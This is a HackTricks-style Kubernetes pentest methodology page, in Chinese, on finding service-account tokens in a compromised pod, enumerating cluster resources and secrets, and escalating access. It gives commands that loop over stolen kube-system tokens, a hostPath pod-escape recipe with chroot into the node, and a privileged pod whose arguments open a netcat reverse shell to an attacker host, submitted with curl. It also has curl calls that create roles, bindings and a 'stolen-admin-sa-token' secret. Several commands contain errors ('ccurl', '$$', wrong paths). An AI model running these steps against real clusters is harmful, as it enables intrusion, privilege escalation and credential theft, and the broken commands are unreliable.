Kubernetes Enumeration

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Kubernetes Tokens

如果您已经获得了对某台机器的访问权限,用户可能会访问某些 Kubernetes 平台。令牌通常位于 env var KUBECONFIG 指向的文件中或 ~/.kube

在此文件夹中,您可能会找到包含 连接到 API 服务器的令牌和配置的配置文件。在此文件夹中,您还可以找到一个缓存文件夹,其中包含先前检索的信息。

如果您在 Kubernetes 环境中已攻陷一个 pod,还有其他地方可以找到令牌和有关当前 K8 环境的信息:

Service Account Tokens

在继续之前,如果您不知道 Kubernetes 中的服务是什么,我建议您 查看此链接并至少阅读有关 Kubernetes 架构的信息。

摘自 Kubernetes documentation:

“当您创建一个 pod 时,如果您没有指定服务帐户,它会自动分配到同一命名空间中的 default 服务帐户。”

ServiceAccount 是由 Kubernetes 管理的对象,用于为在 pod 中运行的进程提供身份。
每个服务帐户都有一个与之相关的秘密,该秘密包含一个承载令牌。这是一个 JSON Web Token (JWT),用于在两个方之间安全地表示声明的方法。

通常 一个 目录:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

包含以下文件:

  • ca.crt: 它是检查 Kubernetes 通信的 CA 证书
  • namespace: 它指示当前命名空间
  • token: 它包含当前 pod 的 服务令牌

现在您有了令牌,可以在环境变量 KUBECONFIG 中找到 API 服务器。有关更多信息,请运行 (env | set) | grep -i "kuber|kube"

服务帐户令牌由位于文件 sa.key 中的密钥签名,并由 sa.pub 验证。

Kubernetes 的默认位置:

  • /etc/kubernetes/pki

Minikube 的默认位置:

  • /var/lib/localkube/certs

Hot Pods

Hot pods 是 包含特权服务帐户令牌的 pods。特权服务帐户令牌是具有执行特权任务权限的令牌,例如列出秘密、创建 pods 等。

RBAC

如果您不知道 RBAC 是什么,请 阅读本节

GUI Applications

Enumeration CheatSheet

为了枚举 K8s 环境,您需要以下几项:

  • 一个 有效的身份验证令牌。在上一节中,我们看到在哪里搜索用户令牌和服务帐户令牌。
  • Kubernetes API 的地址 (https://host:port)。这通常可以在环境变量和/或 kube 配置文件中找到。
  • 可选: ca.crt 以验证 API 服务器。这可以在与令牌相同的位置找到。这对于验证 API 服务器证书很有用,但使用 --insecure-skip-tls-verifykubectl-kcurl 时,您不需要这个。

有了这些细节,您可以 枚举 Kubernetes。如果 API 出于某种原因通过 Internet 可访问,您可以直接下载该信息并从您的主机枚举该平台。

然而,通常 API 服务器位于内部网络中,因此您需要 通过被攻陷的机器创建一个隧道 以从您的机器访问它,或者您可以 上传 kubectl 二进制文件,或使用 curl/wget/anything 对 API 服务器执行原始 HTTP 请求。

Differences between list and get verbs

使用 get 权限,您可以访问特定资产的信息 (describe 选项在 kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

如果您拥有 list 权限,则可以执行 API 请求以列出某种资产 (kubectl 中的 get 选项):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

如果您拥有 watch 权限,则可以执行 API 请求以监视资产:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

他们打开一个流连接,每当 Deployment 发生变化(或创建新的 Deployment 时)就会返回完整的清单。

Caution

以下 kubectl 命令仅指示如何列出对象。如果您想访问数据,您需要使用 describe 而不是 get

使用 curl

在 pod 内部,您可以使用多个环境变量:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

默认情况下,pod 可以 访问 域名为 kubernetes.default.svckube-api 服务器,您可以在 /etc/resolv.config 中看到 kube 网络,在这里您将找到 kubernetes DNS 服务器的地址(同一范围的 “.1” 是 kube-api 端点)。

使用 kubectl

拥有令牌和 API 服务器地址后,您可以使用 kubectl 或 curl 访问它,如此处所示:

默认情况下,APISERVER 使用 https:// 协议进行通信。

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

如果 URL 中没有 https://,您可能会遇到类似 Bad Request 的错误。

您可以在这里找到官方的 kubectl 备忘单。以下部分的目标是以有序的方式展示不同的选项,以枚举和理解您已获得访问权限的新 K8s。

要找到 kubectl 发送的 HTTP 请求,您可以使用参数 -v=8

MitM kubectl - 代理 kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

当前配置

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

如果你成功窃取了一些用户凭据,你可以使用类似的方式在本地配置它们

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

获取支持的资源

通过这些信息,您将知道可以列出所有服务

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

获取当前权限

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

检查您的权限的另一种方法是使用工具:https://github.com/corneliusweig/rakkess****

您可以在以下内容中了解更多关于 Kubernetes RBAC 的信息:

Kubernetes Role-Based Access Control(RBAC)

一旦您知道自己拥有的权限,请查看以下页面以确定 您是否可以利用这些权限 来提升权限:

Abusing Roles/ClusterRoles in Kubernetes

获取其他角色

k get roles
k get clusterroles

获取命名空间

Kubernetes 支持 多个虚拟集群,这些集群由同一个物理集群支持。这些虚拟集群称为 命名空间

k get namespaces

获取秘密

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

如果您可以读取秘密,您可以使用以下行获取与每个令牌相关的权限:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

获取服务账户

如本页开头所述,当一个 pod 运行时,通常会分配一个服务账户给它。因此,列出服务账户、它们的权限以及它们运行的位置可能允许用户提升权限。

k get serviceaccounts

获取部署

部署指定了需要运行组件

k get deployments
k get deployments -n custnamespace

获取 Pods

Pods 是实际的 容器,将会 运行

k get pods
k get pods -n custnamespace

获取服务

Kubernetes 服务用于 在特定端口和 IP 上暴露服务(这将充当实际提供服务的 pod 的负载均衡器)。 这很有趣,因为可以知道在哪里找到其他服务以尝试攻击。

k get services
k get services -n custnamespace

获取节点

获取集群内配置的所有节点

k get nodes

获取 DaemonSets

DaemonSets 允许确保 特定的 pod 在集群的所有节点上运行(或在选定的节点上)。如果您删除 DaemonSet,受其管理的 pods 也将被删除。

k get daemonsets

获取 cronjob

Cron jobs 允许使用类似 crontab 的语法调度启动一个 pod 来执行某些操作。

k get cronjobs

获取 configMap

configMap 通常包含大量信息和配置文件,这些文件提供给在 Kubernetes 中运行的应用程序。通常,您可以找到许多用于连接和验证其他内部/外部服务的密码、秘密和令牌。

k get configmaps # -n namespace

获取网络策略 / Cilium 网络策略

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

获取所有信息 / 全部

k get all

获取所有由 helm 管理的资源

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

获取 Pods 消耗情况

k top pod --all-namespaces

在不使用 kubectl 的情况下与集群交互

由于 Kubernetes 控制平面暴露了 RESTful API,您可以手动构造 HTTP 请求,并使用其他工具发送它们,例如 curlwget

从 pod 中逃逸

如果您能够创建新的 pod,您可能能够从中逃逸到节点。为此,您需要使用 yaml 文件创建一个新 pod,切换到创建的 pod,然后 chroot 进入节点的系统。您可以使用已经存在的 pod 作为 yaml 文件的参考,因为它们显示了现有的镜像和路径。

kubectl get pod <name> [-n <namespace>] -o yaml

如果您需要在特定节点上创建 pod,可以使用以下命令获取节点上的标签

k get nodes --show-labels

通常,kubernetes.io/hostname 和 node-role.kubernetes.io/master 是选择的好标签。

然后您创建您的 attack.yaml 文件

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

在那之后,你创建了 pod

kubectl apply -f attacker.yaml [-n <namespace>]

现在您可以按如下方式切换到创建的 pod

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

最后,您 chroot 进入节点的系统。

chroot /root /bin/bash

从以下信息获取: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

创建特权 Pod

相应的 yaml 文件如下:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

使用 curl 创建 pod:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

删除一个 pod

使用 curl 删除一个 pod:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

创建服务账户

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

删除服务账户

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

创建角色

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

删除角色

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

创建角色绑定

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

删除角色绑定

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

删除一个秘密

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

删除一个秘密

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

参考

Kubernetes Pentest Methodology Part 3

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks